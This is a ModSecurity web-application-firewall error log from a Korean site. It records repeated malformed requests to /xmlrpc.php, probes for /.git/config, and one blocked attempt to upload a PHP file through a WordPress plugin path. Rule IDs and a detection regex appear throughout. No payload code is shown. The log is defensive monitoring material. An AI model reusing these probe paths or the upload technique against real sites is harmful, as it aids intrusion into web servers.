[Wed Apr 30 05:49:41.877765 2025] [:error] [pid 3239207:tid 140283253597760] [client 93.152.220.171:35564] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE7Zfo2tA2Lb4exmuHWZQAAAdk"]
[Wed Apr 30 05:49:41.877855 2025] [:error] [pid 3239207:tid 140283253597760] [client 93.152.220.171:35564] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE7Zfo2tA2Lb4exmuHWZQAAAdk"]
[Wed Apr 30 05:53:57.337176 2025] [:error] [pid 3240467:tid 140283161343552] [client 93.152.220.171:58332] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE8ZfJSfbrVML_ta5lHBQAAAlQ"]
[Wed Apr 30 05:53:57.337266 2025] [:error] [pid 3240467:tid 140283161343552] [client 93.152.220.171:58332] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE8ZfJSfbrVML_ta5lHBQAAAlQ"]
[Wed Apr 30 07:10:24.928197 2025] [:error] [pid 3240175:tid 140283085841984] [client 93.123.109.105:49990] [client 93.123.109.105] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBFOUD8QnY45GSrw9yNbgAAAABU"]
[Wed Apr 30 07:10:24.928746 2025] [:error] [pid 3240175:tid 140283085841984] [client 93.123.109.105:49990] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBFOUD8QnY45GSrw9yNbgAAAABU"]
[Wed Apr 30 07:10:26.173860 2025] [:error] [pid 3240175:tid 140283085841984] [client 93.123.109.105:49990] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "www.ysbbs.or.kr"] [uri "/index.php"] [unique_id "aBFOUD8QnY45GSrw9yNbgAAAABU"]
[Wed Apr 30 07:18:34.805670 2025] [:error] [pid 3240175:tid 140284126012992] [client 93.123.109.105:55398] [client 93.123.109.105] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBFQOj8QnY45GSrw9yNb_QAAAAw"]
[Wed Apr 30 07:18:34.806131 2025] [:error] [pid 3240175:tid 140284126012992] [client 93.123.109.105:55398] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBFQOj8QnY45GSrw9yNb_QAAAAw"]
[Wed Apr 30 07:18:35.688131 2025] [:error] [pid 3240175:tid 140284126012992] [client 93.123.109.105:55398] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/index.php"] [unique_id "aBFQOj8QnY45GSrw9yNb_QAAAAw"]
[Wed Apr 30 11:39:16.390021 2025] [:error] [pid 3315203:tid 140438937769536] [client 93.152.220.171:53758] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGNVKMftLzUEVJxQU_trgAAAdw"]
[Wed Apr 30 11:39:16.393371 2025] [:error] [pid 3315203:tid 140438937769536] [client 93.152.220.171:53758] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGNVKMftLzUEVJxQU_trgAAAdw"]
[Wed Apr 30 11:39:17.785318 2025] [:error] [pid 3315203:tid 140439508211264] [client 93.152.220.171:53774] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGNVaMftLzUEVJxQU_trwAAAdE"]
[Wed Apr 30 11:39:17.785403 2025] [:error] [pid 3315203:tid 140439508211264] [client 93.152.220.171:53774] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGNVaMftLzUEVJxQU_trwAAAdE"]
[Wed Apr 30 11:39:21.682162 2025] [:error] [pid 3315203:tid 140439516603968] [client 93.152.220.171:53802] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGNWaMftLzUEVJxQU_tvQAAAdA"]
[Wed Apr 30 11:39:21.682248 2025] [:error] [pid 3315203:tid 140439516603968] [client 93.152.220.171:53802] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGNWaMftLzUEVJxQU_tvQAAAdA"]
[Wed Apr 30 11:43:20.663619 2025] [:error] [pid 3315112:tid 140440612132416] [client 93.152.220.171:36970] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGOSE9DoWIYL6dDk0F5ngAAAQc"]
[Wed Apr 30 11:43:20.663704 2025] [:error] [pid 3315112:tid 140440612132416] [client 93.152.220.171:36970] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGOSE9DoWIYL6dDk0F5ngAAAQc"]
[Wed Apr 30 11:43:21.903276 2025] [:error] [pid 3315097:tid 140438937769536] [client 93.152.220.171:36976] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGOSQoa7-lXh7FL7TeupAAAANw"]
[Wed Apr 30 11:43:21.903385 2025] [:error] [pid 3315097:tid 140438937769536] [client 93.152.220.171:36976] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGOSQoa7-lXh7FL7TeupAAAANw"]
[Wed Apr 30 11:47:58.031420 2025] [:error] [pid 3315112:tid 140439499818560] [client 93.152.220.171:41426] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGPXk9DoWIYL6dDk0F6JwAAARI"]
[Wed Apr 30 11:47:58.031506 2025] [:error] [pid 3315112:tid 140439499818560] [client 93.152.220.171:41426] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGPXk9DoWIYL6dDk0F6JwAAARI"]
[Wed Apr 30 14:06:48.859433 2025] [:error] [pid 3376594:tid 140440628917824] [client 93.152.220.171:49022] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGv6HjpdiM49ttt0ZYI3gAAAIQ"]
[Wed Apr 30 14:06:48.859509 2025] [:error] [pid 3376594:tid 140440628917824] [client 93.152.220.171:49022] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGv6HjpdiM49ttt0ZYI3gAAAIQ"]
[Wed Apr 30 14:06:53.061912 2025] [:error] [pid 3376594:tid 140439575320128] [client 93.152.220.171:49036] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGv7XjpdiM49ttt0ZYI4AAAAJE"]
[Wed Apr 30 14:06:53.061987 2025] [:error] [pid 3376594:tid 140439575320128] [client 93.152.220.171:49036] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGv7XjpdiM49ttt0ZYI4AAAAJE"]
[Wed Apr 30 14:06:59.459800 2025] [:error] [pid 3376419:tid 140440645703232] [client 93.152.220.171:47268] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGv81KqpeNdx5NYZNEaxQAAAEI"]
[Wed Apr 30 14:06:59.459883 2025] [:error] [pid 3376419:tid 140440645703232] [client 93.152.220.171:47268] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGv81KqpeNdx5NYZNEaxQAAAEI"]
[Wed Apr 30 14:13:06.696335 2025] [:error] [pid 3376419:tid 140440628917824] [client 93.152.220.171:54164] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGxYlKqpeNdx5NYZNEbggAAAEQ"]
[Wed Apr 30 14:13:06.696418 2025] [:error] [pid 3376419:tid 140440628917824] [client 93.152.220.171:54164] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGxYlKqpeNdx5NYZNEbggAAAEQ"]
[Wed Apr 30 14:13:08.295253 2025] [:error] [pid 3376594:tid 140440145729088] [client 93.152.220.171:54178] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGxZHjpdiM49ttt0ZYJ1wAAAI0"]
[Wed Apr 30 14:13:08.295325 2025] [:error] [pid 3376594:tid 140440145729088] [client 93.152.220.171:54178] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGxZHjpdiM49ttt0ZYJ1wAAAI0"]
[Wed Apr 30 14:18:53.770564 2025] [:error] [pid 3376594:tid 140439592105536] [client 93.152.220.171:58868] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGyvXjpdiM49ttt0ZYLjQAAAI4"]
[Wed Apr 30 14:18:53.770640 2025] [:error] [pid 3376594:tid 140439592105536] [client 93.152.220.171:58868] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBGyvXjpdiM49ttt0ZYLjQAAAI4"]
[Wed Apr 30 16:38:10.789336 2025] [:error] [pid 3402897:tid 140440637310528] [client 45.204.8.167:52843] [client 45.204.8.167] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:fileToUpload. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "107"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: memberfuns.php found within FILES:fileToUpload: memberfuns.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-content/plugins/hello.php"] [unique_id "aBHTYnc9zhS8Q3T5Z_RufAAAAYE"]
[Wed Apr 30 16:38:10.790145 2025] [:error] [pid 3402897:tid 140440637310528] [client 45.204.8.167:52843] [client 45.204.8.167] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-content/plugins/hello.php"] [unique_id "aBHTYnc9zhS8Q3T5Z_RufAAAAYE"]
[Wed Apr 30 16:38:10.795069 2025] [:error] [pid 3402897:tid 140440637310528] [client 45.204.8.167:52843] [client 45.204.8.167] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-content/plugins/hello.php"] [unique_id "aBHTYnc9zhS8Q3T5Z_RufAAAAYE"]
[Wed Apr 30 19:46:14.967606 2025] [:error] [pid 3402897:tid 140439164274240] [client 93.152.220.171:46794] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBH_dnc9zhS8Q3T5Z_SCBAAAAZY"]
[Wed Apr 30 19:46:14.967804 2025] [:error] [pid 3402897:tid 140439164274240] [client 93.152.220.171:46794] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBH_dnc9zhS8Q3T5Z_SCBAAAAZY"]
[Wed Apr 30 19:46:17.333968 2025] [:error] [pid 3402917:tid 140438694512192] [client 93.152.220.171:46802] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBH_ecek19rCIpiabLp8oQAAAp0"]
[Wed Apr 30 19:46:17.334050 2025] [:error] [pid 3402917:tid 140438694512192] [client 93.152.220.171:46802] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBH_ecek19rCIpiabLp8oQAAAp0"]
[Wed Apr 30 19:46:21.891620 2025] [:error] [pid 3402899:tid 140439675967040] [client 93.152.220.171:46840] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBH_fc1kyYhWH9rw5l99bQAAAlI"]
[Wed Apr 30 19:46:21.891714 2025] [:error] [pid 3402899:tid 140439675967040] [client 93.152.220.171:46840] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBH_fc1kyYhWH9rw5l99bQAAAlI"]
[Wed Apr 30 19:50:59.384363 2025] [:error] [pid 3402899:tid 140439726323264] [client 93.152.220.171:34590] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBIAk81kyYhWH9rw5l9-NQAAAkw"]
[Wed Apr 30 19:50:59.384454 2025] [:error] [pid 3402899:tid 140439726323264] [client 93.152.220.171:34590] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBIAk81kyYhWH9rw5l9-NQAAAkw"]
[Wed Apr 30 19:51:00.679538 2025] [:error] [pid 3402897:tid 140440238016064] [client 93.152.220.171:34596] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBIAlHc9zhS8Q3T5Z_SClwAAAYk"]
[Wed Apr 30 19:51:00.679620 2025] [:error] [pid 3402897:tid 140440238016064] [client 93.152.220.171:34596] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBIAlHc9zhS8Q3T5Z_SClwAAAYk"]
[Wed Apr 30 19:56:48.338046 2025] [:error] [pid 3402897:tid 140439139096128] [client 93.152.220.171:38822] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBIB8Hc9zhS8Q3T5Z_SDIAAAAZk"]
[Wed Apr 30 19:56:48.338134 2025] [:error] [pid 3402897:tid 140439139096128] [client 93.152.220.171:38822] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBIB8Hc9zhS8Q3T5Z_SDIAAAAZk"]
[Wed Apr 30 21:16:18.748561 2025] [:error] [pid 3402917:tid 140440263194176] [client 93.123.109.105:54704] [client 93.123.109.105] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBIUksek19rCIpiabLqL6QAAAoU"]
[Wed Apr 30 21:16:18.748989 2025] [:error] [pid 3402917:tid 140440263194176] [client 93.123.109.105:54704] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBIUksek19rCIpiabLqL6QAAAoU"]
[Wed Apr 30 21:16:19.805630 2025] [:error] [pid 3402917:tid 140440263194176] [client 93.123.109.105:54704] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "www.ysbbs.or.kr"] [uri "/index.php"] [unique_id "aBIUksek19rCIpiabLqL6QAAAoU"]
[Wed Apr 30 21:22:55.625024 2025] [:error] [pid 3402917:tid 140440229623360] [client 93.123.109.105:45834] [client 93.123.109.105] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBIWH8ek19rCIpiabLqM1QAAAoo"]
[Wed Apr 30 21:22:55.625455 2025] [:error] [pid 3402917:tid 140440229623360] [client 93.123.109.105:45834] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBIWH8ek19rCIpiabLqM1QAAAoo"]
[Wed Apr 30 21:22:56.559600 2025] [:error] [pid 3402917:tid 140440229623360] [client 93.123.109.105:45834] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/index.php"] [unique_id "aBIWH8ek19rCIpiabLqM1QAAAoo"]
[Thu May 01 01:44:12.042503 2025] [:error] [pid 3513842:tid 140438853908032] [client 93.152.220.171:55382] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJTXHo2pBPzkcE4YfdW5AAAAhc"]
[Thu May 01 01:44:12.042584 2025] [:error] [pid 3513842:tid 140438853908032] [client 93.152.220.171:55382] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJTXHo2pBPzkcE4YfdW5AAAAhc"]
[Thu May 01 01:44:13.378192 2025] [:error] [pid 3513848:tid 140440397411904] [client 93.152.220.171:45082] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJTXcd8xAM_g6QziOrhJwAAAkI"]
[Thu May 01 01:44:13.378273 2025] [:error] [pid 3513848:tid 140440397411904] [client 93.152.220.171:45082] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJTXcd8xAM_g6QziOrhJwAAAkI"]
[Thu May 01 01:44:17.215430 2025] [:error] [pid 3513672:tid 140439340422720] [client 93.152.220.171:45114] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJTYa3biretj54slUZmIAAAAZY"]
